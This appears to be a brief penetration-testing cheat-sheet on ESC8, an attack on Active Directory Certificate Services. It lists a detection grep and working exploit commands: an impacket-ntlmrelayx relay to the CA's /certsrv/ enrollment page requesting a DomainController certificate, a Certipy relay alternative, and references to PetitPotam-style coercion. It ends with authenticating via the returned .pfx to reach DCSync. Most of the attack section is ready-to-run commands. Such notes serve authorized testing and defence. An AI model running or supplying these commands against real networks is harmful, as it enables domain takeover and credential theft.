ESC8 — NTLM Relay to Web Enrollment

External: Hacker Recipes — ESC8

External: Internal All The Things — Certificate ESC8

Idea: CA HTTP web enrollment (/certsrv/) without EPA → relay NTLM → request cert as victim (often DC).

Detect

grep -i ESC8 *_Certipy.txt
# Web enrollment enabled, no channel binding

Exploit

# Terminal 1 — relay
impacket-ntlmrelayx -t http://CA_IP/certsrv/certfnsh.asp \
  -smb2support --adcs --template DomainController
 
# Terminal 2 — coerce DC auth (PetitPotam, Coercer, etc.)
# certipy relay alternative:
# certipy-ad relay -ca CA_IP -template DomainController

Then auth with returned .pfx → DCSync path.

→ ntlmrelayx · Responder · Certipy & Certify > ESC8 · AD CS ESC